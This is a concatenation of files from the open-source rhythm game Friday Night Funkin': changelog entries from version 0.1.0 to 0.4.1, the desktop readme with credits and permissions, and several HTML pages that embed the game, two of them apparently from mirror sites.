### Changed- Moved all the intro texts to its own txt file instead of being hardcoded, this allows for much easier customization. File is in the data folder, called "introText.txt", follow the format in there and you're probably good to go!### Fixed- Fixed soft lock when pausing on song finish ([shoutouts gedehari](https://github.com/ninjamuffin99/Funkin/issues/15))- Think I fixed issue that led to in-game scores being off by 2 ([shoutouts Mike](https://github.com/ninjamuffin99/Funkin/issues/4))- Should have fixed the 1 frame note appearance thing. ([shoutouts Mike](https://github.com/ninjamuffin99/Funkin/issues/6))- Cleaned up some charting on South on hard mode- Fixed some animation timings, should feel both better to play, and watch. (shoutouts Dave/Ivan lol)- Animation issue where GF would freak out on the title screen if you returned to it([shoutouts MultiXIII](https://github.com/ninjamuffin99/Funkin/issues/12)).
## [0.2.1.2] - 2020-11-06### Fixed- Story mode scores not properly resetting, leading to VERY inflated highscores on the leaderboards. This also requires me to clear the scores that are on the leaderboard right now, sorry!- Difficulty on storymode and in freeplay scores- Hard mode difficulty on campaign levels have been fixed
## [0.2.1.1] - 2020-11-06### Fixed- Week 2 not unlocking properly
## [0.2.1] - 2020-11-06### Added- Scores to the freeplay menu- A few new intro boot messages.- Lightning effect in Spooky stages- Campaign scores, can now compete on scoreboards for campaign!- Can now change difficulties in Freeplay mode
### Changed- Balanced out Normal mode for the harder songs(Dadbattle and Spookeez, not South yet). Should be much easier all around.- Put tutorial in it's own 'week', so that if you want to play week 1, you don't have to play the tutorial.
### Fixed- One of the charting bits on South and Spookeez during the intro.
## [0.2.0] - 2020-11-01### Added- Uhh Newgrounds release lolol I always lose track of shit.
## [0.1.0] - 2020-10-05### Added- Uh, everything. This the game's initial gamejam release. We put it out1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192 __ / / _ _ |_ |_ . _ \__) (- |_ |_ | | ) __ |_ _ _ _ | | | (- (_| |( \/ / _ _ _ (_) | ) (_| __ |_ _ . _| _ _ . _ |_ |_ _ _ |_ | | | (_| (_| \/ | ) | (_) | ) |_ \/ (- (_| | ) / _/ /
HEYThanks for downloadin Friday Night FUNKIN'If you downloaded this from any other place than ninja-muffin24.itch.io/FUNKINYou might be in DANGER!!!
The Itch.io release is the only official source for the desktop (PC, Mac, Linux) versions of the game!As of right now, the game is FREE! If you paid for it, you got SCAMMED!
Now that that's out of the way....THANKS FOR DOWNLOADIN.
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- PERMISSIONS XDDDD#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
Little info, you have FULL PERMISSION to stream, letsplay, meme, shitpost, do WHATEVER you want with the game.Use the music in videos you do, use art, ANYTHING. GO CRAZY BRO.
If you do make any sort of video, it would be a bro move if you linked the game and spread the word
Play On Newgrounds - https://www.newgrounds.com/portal/view/770371Support on Itch.io - https://ninja-muffin24.itch.io/funkin
If not no biggie we don't fully hate you only kinda no biggie.
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- INFO AND LINKS#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
If you wanna dig around, the game is fully open source on Githubhttps://github.com/ninjamuffin99/Funkin
It's made in Haxe / HaxeFlixel
MUSIC IS ON SPOTIFY AND BANDCAMP AND EVERYWHERE ELSE PROB TOOhttps://kawaisprite.bandcamp.com/album/friday-night-funkin-ost-vol-1
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- FINAL WORDS / CREDITS#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
Friday Night Funkin' is made by ninjamuffin99 (programmer), PhantomArcade (animator), kawaisprite (musician), and evilsk8r (artist)
https://twitter.com/ninja_muffin99https://twitter.com/phantomarcade3khttps://twitter.com/kawaispritehttps://twitter.com/evilsk8r
Pico is created by Tom FulpSkid and Pump are created by SrPeloBassetFilms did music for lemon monster songs
Final important thing, this is made with the support and love to and from Newgrounds.com.Go to newgrounds, we love newgrounds. newgrounds good. How many times do I gotta damn say it. Newgrounds newgrounds newgrounds newgroundsI love Tom Fulp.
- Cameron ♪(´▽`)
################################################################################## _ _ _____ _ _ ____ ____ ___ _ _ _ _ ____ ____ | \ | | | ____| | | | | / ___| | _ \ / _ \ | | | | | \ | | | _ \ / ___| | \| | | _| | | /\ | | | | _ | |_) | | | | | | | | | | \| | | | | | \___ \ | |\ | | |___ \ V V / | |_| | | _ < | |_| | | |_| | | |\ | | |_| | ___) ||_| \_| |_____| \_/\_/ \____| |_| \_\ \___/ \___/ |_| \_| |____/ |____/ _ _ _ ___ ___ __ _ _ _ _ _ |_ | | |_ |_) \_/ | |_| | |\ | /__ |_ |_ | | |_ |_) \_/ / \ |\ | |_ |_ \/ |_ | \ | | | | _|_ | \| \_| o |_)\/ |_ \/ |_ | \ | \_/ | \| |_ o / / ##################################################################################i stole this from stamper.12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Friday Night Funkin'</title> <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <meta name="apple-mobile-web-app-capable" content="yes"> <link rel="shortcut icon" type="image/png" href="./favicon.png"> <script type="text/javascript" src="./Funkin.js"></script> <script> window.addEventListener ("touchmove", function (event) { event.preventDefault (); }, { capture: false, passive: false }); if (typeof window.devicePixelRatio != 'undefined' && window.devicePixelRatio > 2) { var meta = document.getElementById ("viewport"); meta.setAttribute ('content', 'width=device-width, initial-scale=' + (2 / window.devicePixelRatio) + ', user-scalable=no'); } </script> <style> html,body { margin: 0; padding: 0; height: 100%; overflow: hidden; } #openfl-content { background: #000000; width: 100%; height: 100%; } @font-face { font-family: 'Pixel Arial 11 Bold'; src: url('assets/fonts/pixel.eot?#iefix') format('embedded-opentype'), url('assets/fonts/pixel.woff') format('woff'), url('assets/fonts/pixel.otf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'VCR OSD Mono'; src: url('assets/fonts/vcr.eot?#iefix') format('embedded-opentype'), url('assets/fonts/vcr.woff') format('woff'), url('assets/fonts/vcr.ttf') format('truetype'), url('assets/fonts/vcr.svg#VCR%20OSD%20Mono') format('svg'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Nokia Cellphone FC Small'; src: url('flixel/fonts/nokiafc22.eot?#iefix') format('embedded-opentype'), url('flixel/fonts/nokiafc22.woff') format('woff'), url('flixel/fonts/nokiafc22.ttf') format('truetype'), url('flixel/fonts/nokiafc22.svg#Nokia%20Cellphone%20FC%20Small') format('svg'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Monsterrat'; src: url('flixel/fonts/monsterrat.eot?#iefix') format('embedded-opentype'), url('flixel/fonts/monsterrat.woff') format('woff'), url('flixel/fonts/monsterrat.ttf') format('truetype'), url('flixel/fonts/monsterrat.svg#Monsterrat') format('svg'); font-weight: normal; font-style: normal; }
</style> </head><body> <noscript>This webpage makes extensive use of JavaScript. Please enable JavaScript in your web browser to view this page.</noscript> <div id="openfl-content"></div> <script type="text/javascript"> lime.embed ("Funkin", "openfl-content", 1280, 720, { parameters: {} }); </script> </body></html>1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192 __ / / _ _ |_ |_ . _ \__) (- |_ |_ | | ) __ |_ _ _ _ | | | (- (_| |( \/ / _ _ _ (_) | ) (_| __ |_ _ . _| _ _ . _ |_ |_ _ _ |_ | | | (_| (_| \/ | ) | (_) | ) |_ \/ (- (_| | ) / _/ /
HEYThanks for downloadin Friday Night FUNKIN'If you downloaded this from any other place than ninja-muffin24.itch.io/FUNKINYou might be in DANGER!!!
The Itch.io release is the only official source for the desktop (PC, Mac, Linux) versions of the game!As of right now, the game is FREE! If you paid for it, you got SCAMMED!
Now that that's out of the way....THANKS FOR DOWNLOADIN.
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- PERMISSIONS XDDDD#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
Little info, you have FULL PERMISSION to stream, letsplay, meme, shitpost, do WHATEVER you want with the game.Use the music in videos you do, use art, ANYTHING. GO CRAZY BRO.
If you do make any sort of video, it would be a bro move if you linked the game and spread the word
Play On Newgrounds - https://www.newgrounds.com/portal/view/770371Support on Itch.io - https://ninja-muffin24.itch.io/funkin
If not no biggie we don't fully hate you only kinda no biggie.
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- INFO AND LINKS#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
If you wanna dig around, the game is fully open source on Githubhttps://github.com/ninjamuffin99/Funkin
It's made in Haxe / HaxeFlixel
MUSIC IS ON SPOTIFY AND BANDCAMP AND EVERYWHERE ELSE PROB TOOhttps://kawaisprite.bandcamp.com/album/friday-night-funkin-ost-vol-1
#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#- FINAL WORDS / CREDITS#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-
Friday Night Funkin' is made by ninjamuffin99 (programmer), PhantomArcade (animator), kawaisprite (musician), and evilsk8r (artist)
https://twitter.com/ninja_muffin99https://twitter.com/phantomarcade3khttps://twitter.com/kawaispritehttps://twitter.com/evilsk8r
Pico is created by Tom FulpSkid and Pump are created by SrPeloBassetFilms did music for lemon monster songs
Final important thing, this is made with the support and love to and from Newgrounds.com.Go to newgrounds, we love newgrounds. newgrounds good. How many times do I gotta damn say it. Newgrounds newgrounds newgrounds newgroundsI love Tom Fulp.
- Cameron ♪(´▽`)
################################################################################## _ _ _____ _ _ ____ ____ ___ _ _ _ _ ____ ____ | \ | | | ____| | | | | / ___| | _ \ / _ \ | | | | | \ | | | _ \ / ___| | \| | | _| | | /\ | | | | _ | |_) | | | | | | | | | | \| | | | | | \___ \ | |\ | | |___ \ V V / | |_| | | _ < | |_| | | |_| | | |\ | | |_| | ___) ||_| \_| |_____| \_/\_/ \____| |_| \_\ \___/ \___/ |_| \_| |____/ |____/ _ _ _ ___ ___ __ _ _ _ _ _ |_ | | |_ |_) \_/ | |_| | |\ | /__ |_ |_ | | |_ |_) \_/ / \ |\ | |_ |_ \/ |_ | \ | | | | _|_ | \| \_| o |_)\/ |_ \/ |_ | \ | \_/ | \| |_ o / / ##################################################################################i stole this from stamper.1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283<!DOCTYPE html><html lang="en"><head><script>window.addEventListener("keydown",function(e){if([32,37,38,39,40].indexOf(e.keyCode)>-1){e.preventDefault();}},false);</script> <meta charset="utf-8"> <title>Game 23035</title> <link rel="canonical" href="https://gamesgo.net/game/fnf-krusty-karoling"/>
<meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <meta name="apple-mobile-web-app-capable" content="yes"> <link rel="shortcut icon" type="image/png" href="./favicon.png"> <script type="text/javascript" src="./PsychEngine.js"></script> <script> window.addEventListener ("touchmove", function (event) { event.preventDefault (); }, { capture: false, passive: false }); if (typeof window.devicePixelRatio != 'undefined' && window.devicePixelRatio > 2) { var meta = document.getElementById ("viewport"); meta.setAttribute ('content', 'width=device-width, initial-scale=' + (2 / window.devicePixelRatio) + ', user-scalable=no'); } </script> <style> html,body { margin: 0; padding: 0; height: 100%; overflow: hidden; } #openfl-content { background: #000000; width: 100%; height: 100%; } @font-face { font-family: 'Pixel Arial 11 Bold'; src: url('assets/fonts/pixel.eot?#iefix') format('embedded-opentype'), url('assets/fonts/pixel.woff') format('woff'), url('assets/fonts/pixel.otf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'VCR OSD Mono'; src: url('assets/fonts/vcr.eot?#iefix') format('embedded-opentype'), url('assets/fonts/vcr.woff') format('woff'), url('assets/fonts/vcr.ttf') format('truetype'), url('assets/fonts/vcr.svg#VCR%20OSD%20Mono') format('svg'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Nokia Cellphone FC Small'; src: url('flixel/fonts/nokiafc22.eot?#iefix') format('embedded-opentype'), url('flixel/fonts/nokiafc22.woff') format('woff'), url('flixel/fonts/nokiafc22.ttf') format('truetype'), url('flixel/fonts/nokiafc22.svg#Nokia%20Cellphone%20FC%20Small') format('svg'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Monsterrat'; src: url('flixel/fonts/monsterrat.eot?#iefix') format('embedded-opentype'), url('flixel/fonts/monsterrat.woff') format('woff'), url('flixel/fonts/monsterrat.ttf') format('truetype'), url('flixel/fonts/monsterrat.svg#Monsterrat') format('svg'); font-weight: normal; font-style: normal; }
</style> </head><body> <noscript>This webpage makes extensive use of JavaScript. Please enable JavaScript in your web browser to view this page.</noscript> <div id="openfl-content"></div> <script type="text/javascript"> lime.embed ("PsychEngine", "openfl-content", 1280, 720, { parameters: {} }); </script>
<link rel="stylesheet" href="/assets/css.css" type="text/css" media="all"/><script type="text/javascript" src="/assets/js.js"></script></body></html>12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>Game 24786</title> <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <meta name="apple-mobile-web-app-capable" content="yes"> <link rel="shortcut icon" type="image/png" href="./favicon.png"> <link rel="canonical" href="https://game.fnfhub.net/24786/" /> <script type="text/javascript" src="./PsychEngine.js"></script> <script> window.addEventListener ("touchmove", function (event) { event.preventDefault (); }, { capture: false, passive: false }); if (typeof window.devicePixelRatio != 'undefined' && window.devicePixelRatio > 2) { var meta = document.getElementById ("viewport"); meta.setAttribute ('content', 'width=device-width, initial-scale=' + (2 / window.devicePixelRatio) + ', user-scalable=no'); } window.addEventListener("keydown", function(e) {if(["Tab","Space","ArrowUp","ArrowDown","ArrowLeft","ArrowRight"].indexOf(e.code) > -1) {e.preventDefault(); }}, false); </script> <style> html,body { margin: 0; padding: 0; height: 100%; overflow: hidden; } #openfl-content { background: #000000; width: 100%; height: 100%; } @font-face { font-family: 'Pixel Arial 11 Bold'; src: url('assets/fonts/pixel.eot?#iefix') format('embedded-opentype'), url('assets/fonts/pixel.woff') format('woff'), url('assets/fonts/pixel.otf') format('truetype'); font-weight: normal; font-style: normal; } @font-face { font-family: 'VCR OSD Mono'; src: url('assets/fonts/vcr.eot?#iefix') format('embedded-opentype'), url('assets/fonts/vcr.woff') format('woff'), url('assets/fonts/vcr.ttf') format('truetype'), url('assets/fonts/vcr.svg#VCR%20OSD%20Mono') format('svg'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Nokia Cellphone FC Small'; src: url('flixel/fonts/nokiafc22.eot?#iefix') format('embedded-opentype'), url('flixel/fonts/nokiafc22.woff') format('woff'), url('flixel/fonts/nokiafc22.ttf') format('truetype'), url('flixel/fonts/nokiafc22.svg#Nokia%20Cellphone%20FC%20Small') format('svg'); font-weight: normal; font-style: normal; } @font-face { font-family: 'Monsterrat'; src: url('flixel/fonts/monsterrat.eot?#iefix') format('embedded-opentype'), url('flixel/fonts/monsterrat.woff') format('woff'), url('flixel/fonts/monsterrat.ttf') format('truetype'), url('flixel/fonts/monsterrat.svg#Monsterrat') format('svg'); font-weight: normal; font-style: normal; }
</style> </head><body> <noscript>This webpage makes extensive use of JavaScript. Please enable JavaScript in your web browser to view this page.</noscript> <div id="openfl-content"></div> <script type="text/javascript"> lime.embed ("PsychEngine", "openfl-content", 1280, 720, { parameters: {} }); </script> </body></html>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344# ChangelogAll notable changes will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [0.4.1] - 2024-06-12### Added- Pressing ESCAPE on the title screen on desktop now exits the game, allowing you to exit the game while in fullscreen on desktop- Freeplay menu controls (favoriting and switching categories) are now rebindable from the Options menu, and now have default binds on controllers.### Changed- Highscores and ranks are now saved separately, which fixes the issue where people would overwrite their saves with higher scores,which would remove their rank if they had a lower one.- A-Bot speaker now reacts to the user's volume preference on desktop (thanks to [M7theguy for the issue report/suggestion](https://github.com/FunkinCrew/Funkin/issues/2744)!)- On Freeplay, heart icons are shifted to the right when you favorite a song that has no rank on it.- Only play `scrollMenu` sound effect when there's a real change on the freeplay menu ([thanks gamerbross for the PR!](https://github.com/FunkinCrew/Funkin/pull/2741))- Gave antialiasing to the edge of the dad graphic on Freeplay- Rearranged some controls in the controls menu- Made several chart revisions - Re-enabled custom camera events in Roses (Erect/Nightmare) - Tweaked the chart for Lit Up (Hard) - Corrected the difficulty ratings for M.I.L.F. (Easy/Normal/Hard)### Fixed- Fixed an issue in the controls menu where some control binds would overlap their names- Fixed crash when attempting to exit the gameover screen when also attempting to retry the song ([thanks DMMaster636 for the PR!](https://github.com/FunkinCrew/Funkin/pull/2709))- Fix botplay sustain release bug ([thanks Hundrec!](Fix botplay sustain release bug #2683))- Fix for the camera not pausing during a gameplay pause ([thanks gamerbross!](https://github.com/FunkinCrew/Funkin/pull/2684))- Fixed issue where Pico's gameplay sprite would unintentionally appear on the gameover screen when dying on 2Hot from an explosion- Freeplay previews properly fade volume during the BF idle animation- Fixed bug where Dadbattle incorrectly appeared as Dadbattle Erect when returning to freeplay on Hard- Fixed 2Hot not appearing under the "#" category in Freeplay menu- Fixed a bug where the Chart Editor would crash when attempting to select an event with the Event toolbox open- Improved offsets for Pico and Tankman opponents so they don't slide around as much.- Fixed the black "temp" graphic on freeplay from being incorrectly sized / masked, now it's identical to the dad freeplay graphic
## [0.4.0] - 2024-06-06### Added- 2 new Erect remixes, Eggnog and Satin Panties. Check them out from the Freeplay menu!- Major visual improvements to the Results screen, with additional animations and audio based on your performance.- Major visual improvements to the Freeplay screen, with song difficulty ratings and player rank displays. - Freeplay now plays a preview of songs when you hover over them.- Added a Charter field to the chart format, to allow for crediting the creator of a level's chart. - You can see who charted a song from the Pause menu.- Added a new Scroll Speed chart event to change the note speed mid-song (thanks burgerballs!)### Changed- Tweaked the charts for several songs: - Tutorial (increased the note speed slightly) - Spookeez - Monster - Winter Horrorland - M.I.L.F. - Senpai (increased the note speed) - Roses - Thorns (increased the note speed slightly) - Ugh - Stress - Lit Up- Favorite songs marked in Freeplay are now stored between sessions.- The Freeplay easter eggs are now easier to see.- In the event that the game cannot load your save data, it will now perform a backup before clearing it, so that we can try to repair it in the future.- Custom note styles are now properly supported for songs; add new notestyles via JSON, then select it for use from the Chart Editor Metadata toolbox. (thanks Keoiki!)- Health icons now support a Winning frame without requiring a spritesheet, simply include a third frame in the icon file. (thanks gamerbross!) - Remember that for more complex behaviors such as animations or transitions, you should use an XML file to define each frame.- Improved the Event Toolbox in the Chart Editor; dropdowns are now bigger, include search field, and display elements in alphabetical order rather than a random order.### Fixed- Fixed an issue where Nene's visualizer would not play on Desktop builds- Fixed a bug where the game would silently fail to load saves on HTML5- Fixed some bugs with the props on the Story Menu not bopping properly- Additional fixes to the Loading bar on HTML5 (thanks lemz1!)- Fixed several bugs with the TitleState, including missing music when returning from the Main Menu (thanks gamerbross!)- Fixed a camera bug in the Main Menu (thanks richTrash21!)- Fixed a bug where changing difficulties in Story mode wouldn't update the score (thanks sectorA!)- Fixed a crash in Freeplay caused by a level referencing an invalid song (thanks gamerbross!)- Fixed a bug where pressing the volume keys would stop the Toy commercial (thanks gamerbross!)- Fixed a bug where the Chart Editor Playtest would crash when losing (thanks gamerbross!)- Fixed a bug where hold notes would display improperly in the Chart Editor when downscroll was enabled for gameplay (thanks gamerbross!)- Fixed a bug where hold notes would be positioned wrong on downscroll (thanks MaybeMaru!)- Removed a large number of unused imports to optimize builds (thanks Ethan-makes-music!)- Improved debug logging for unscripted stages (thanks gamerbross!)- Made improvements to compiling documentation (thanks gedehari!)- Fixed a crash on Linux caused by an old version of hxCodec (thanks Noobz4Life!)- Optimized animation handling for characters (thanks richTrash21!)- Made improvements to compiling documentation (thanks gedehari!)- Fixed a bug where pressing the volume keys would stop the Toy commercial (thanks gamerbross!)- Fixed a bug where the Chart Editor Playtest would crash when losing (thanks gamerbross!)- Removed a large number of unused imports to optimize builds (thanks Ethan-makes-music!)- Fixed a bug where hold notes would be positioned wrong on downscroll (thanks MaybeMaru!)- Additional fixes to the Loading bar on HTML5 (thanks lemz1!)- Fixed a crash in Freeplay caused by a level referencing an invalid song (thanks gamerbross!)- Improved debug logging for unscripted stages (thanks gamerbross!)- Fixed a bug where changing difficulties in Story mode wouldn't update the score (thanks sectorA!)- Fixed an issue where the Chart Editor would use an incorrect instrumental on imported Legacy songs (thanks gamerbross!)- Fixed a camera bug in the Main Menu (thanks richTrash21!)- Fixed several bugs with the TitleState, including missing music when returning from the Main Menu (thanks gamerbross!)- Fixed a bug where opening the game from the command line would crash the preloader (thanks NotHyper474!)- Fixed a bug where hold notes would display improperly in the Chart Editor when downscroll was enabled for gameplay (thanks gamerbross!)- Fixed a bug where characters would sometimes use the wrong scale value (thanks PurSnake!)- Additional bug fixes and optimizations.
## [0.3.3] - 2024-05-14### Changed- Cleaned up some code in `PlayAnimationSongEvent.hx` (thanks BurgerBalls!)### Fixed- Fixes to the Loading bar on HTML5 (thanks lemz1!)- Don't allow any more inputs when exiting freeplay (thanks gamerbros!)- Fixed using mouse wheel to scroll on freeplay (thanks JugieNoob!)- Fixed the reset's of the health icons, score, and notes when re-entering gameplay from gameover (thanks ImCodist!)- Fixed the chart editor character selector's hitbox width (thanks MadBear422!)- Fixed camera stutter once a wipe transition to the Main Menu completes (thanks ImCodist!)- Fixed an issue where hold note would be invisible for a single frame (thanks ImCodist!)- Fix tween accumulation on title screen when pressing Y multiple times (thanks TheGaloXx!)- Fix a crash when querying FlxG.state in the crash handler- Fix for a game over easter egg so you don't accidentally exit it when viewing- Fix an issue where the Freeplay menu never displays 100% clear- Fix an issue where Weekend 1 Pico attempted to retrieve a missing asset.- Fix an issue where duplicate keybinds would be stoed, potentially causing a crash- Chart debug key now properly returns you to the previous chart editor session if you were playtesting a chart (thanks nebulazorua!)- Fix a crash on Freeplay found on AMD graphics cards
## [0.3.2] - 2024-05-03### Added- Added `,` and `.` keybinds to the Chart Editor. These place Focus Camera events at the playhead, for the opponent and player respectively.- Implemented a blacklist to prevent mods from calling system functions. - Added a couple utility functions to call useful stuff that got blacklisted.- Added an `onSongLoad` script event which allows for mutation of notes and events.- Added the current loaded modlist to crash logs.- Added the `visible` attribute to Level JSON data.- Enabled ZIP file system support for Polymod (make sure the metadata is in the root of the ZIP).### Changed- Songs in the mod folders will display in Freeplay without any extra scripting.- Story levels in the mod folders will display in Story without any extra scripting.- All audio should sound better in HTML5, less muddy### Fixed- Fixed a typo in the credits folder (`Custcene` -> `Cutscene`)- Fixed an issue where health icon transition animations would loop and never finish properly.- Fixed an issue where video cutscenes flagged as mid-song would crash the game when they finish.- Fixed an issue where some substate lifecycle events were not being dispatched.- Fixed a crash when trying to load into the Animation Offsets menu with an invalid character.- Fixed an issue where the preloader would spam the logs when it was complete and waiting for user input.- Should definitely have the fix for freeplay where it stops taking control of the main menu below it- Changed the code for the story menu difficulties so that "normal" doesn't overlap the arrows after leaving Weekend 1### Removed- Removed some unused `.txt` files in the `assets/data` folder.
## [0.3.1] - 2024-05-01### Changed- Ensure the Git commit hash always displays in the log files.- Added whether the local Git repo was modified to the log files.- Removed "PROTOTYPE" text on release builds only (it still shows on debug builds).- Added additional credits and special thanks.- Updated peepo in creds to peepo173### Fixed- Fix a crash when retrieving system specs while handing a crash.- Fix a crash triggered when pausing before the song started.- Fix a crash triggered when dying before the song started.- Fix a crash triggered when unloading certain graphics.- Pico game over confirm plays correctly- When exiting from a song into freeplay, main menu no longer takes inputs unintentionally (aka issues with merch links opening up when selecting songs)- Fix for arrow keys causing web browser page scroll
## [0.3.0] - 2024-04-30### Added- New Story Level: Weekend 1, starting Pico, Darnell, and Nene. - Beat the level in Story Mode to unlock the songs for Freeplay!- 12 new Erect remixes, featuring Kawai Sprite, Saruky, Kohta Takahashi, and Saster - Unlocked instantly in Freeplay- New visually enhanced Freeplay menu. - Sorting, favorites, and more.- New Results screen upon completing any song or story level.- New refactored Chart Editor prototype (accessible via `~` in the main menu or `7` in the Play State, rebindable). (VERY EARLY PROTOTYPE. EXPECT BUGS AND CRASHES)- Implemented a new scripting system using HScript (an interpreted language with Haxe-like syntax) for incredible flexibility. - All character-specific, stage-specific, or song-specific behaviors have been moved to HScript.- New song events system allows for simple customization of camera behavior. - Mods can implement custom song events via HScript, and new built-in song events will come in the future.- New credits menu to list all the dozens of people who contributed.### Changed- Completely refactored the game's input system for higher reliability and accuracy.- Reworked note rendering to massively reduce lag on larger charts.- Reworks to scoring and health gain.- Dedicated gamepad support with the ability to rebind buttons.- Improvements to video cutscenes and dialogue, allowing them to be easily skipped or restarted.- Updated Polymod by several major versions, allowing for fully dynamic asset replacement and support for scripted classes.- Completely refactored almost every part of the game's code for performance, stability, and extensibility. - This is not the Ludem Dare game held together with sticks and glue you played three years ago.- Characters, stages, songs, story levels, and dialogue are now built from JSON data registries rather than being hardcoded. - All of these also support attaching scripts for custom behavior, more documentation on this soon. - You can forcibly reload the game's JSON data and scripts by pressing F5.- Fully refactored the game's chart file format for extensibility and readability. - You can migrate old charts using the Import FNF Legacy option in the chart editor.- Various visual tweaks and improvements.### Fixed- 17 quadrillion bugs across hundreds of PRs.
## [0.2.8] - 2021-04-18 (note, this one is iffy cuz we slacked wit it lol!)### Added- TANKMAN! 3 NEW SONGS BY KAWAISPRITE (UGH, GUNS, STRESS)! Charting help by MtH!- Monster added into week 2, FINALLY (Charting help by MtH and ChaoticGamer!)- Can now change song difficulty mid-game.- Shows some song info on pause screen.- Cute little icons onto freeplay menu- Offset files for easier modification of characters### Changed- ASSET LOADING OVERHAUL, WAY FASTER LOAD TIMES ON WEB!!! (THANKS TO GEOKURELI WOKE KING)- Made difficulty selector on freeplay menu more apparent### Fixed- That one random note on Bopeebo
## [0.2.7.1] - 2021-02-14### Added- Easter eggs- readme's in desktop versions of the game### Changed- New icons, old one was placeholder since October woops!- Made the transitions between the story mode levels more seamless.- Offset of the Newgrounds logo on boot screen.- Made the changelog txt so it can be opened easier by normal people who don't have a markdown reader (most normal people);### Fixed- Fixed crashes on Week 6 story mode dialogue if spam too fast ([Thanks to Lotusotho for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/357))- Should show intro credits on desktop versions of the game more consistently- Layering on Week 4 songs with GF and the LIMO LOL HOW TF I MISS THIS- Chart's and chart editor now support changeBPM, GOD BLESS MTH FOR THIS ONE I BEEN STRUGGLIN WIT THAT SINCE OCTOBER LMAO ([GOD BLESS MTH](https://github.com/ninjamuffin99/Funkin/pull/382))- Fixed sustain note trails ALSO THANKS TO MTH U A REAL ONE ([MTH VERY POWERFUL](https://github.com/ninjamuffin99/Funkin/pull/415))- Antialiasing on the skyscraper lights
## [0.2.7] - 2021-02-02### Added- PIXEL DAY UPDATE LOL 1 WEEK LATER- 3 New songs by Kawaisprite!- COOL CUTSCENES- WEEK 6 YOYOYOYOY- Swaggy pixel art by Moawling!### Changed- Made it so you lose sliiiightly more health when you miss a note.- Removed the default HaxeFlixel pause screen when the game window loses focus, can get screenshots of the game easier hehehe### Fixed- Idle animation bug with BF christmas and BF hair blow sprites ([Thanks to Injourn for the Pull Request!](https://github.com/ninjamuffin99/Funkin/pull/237))
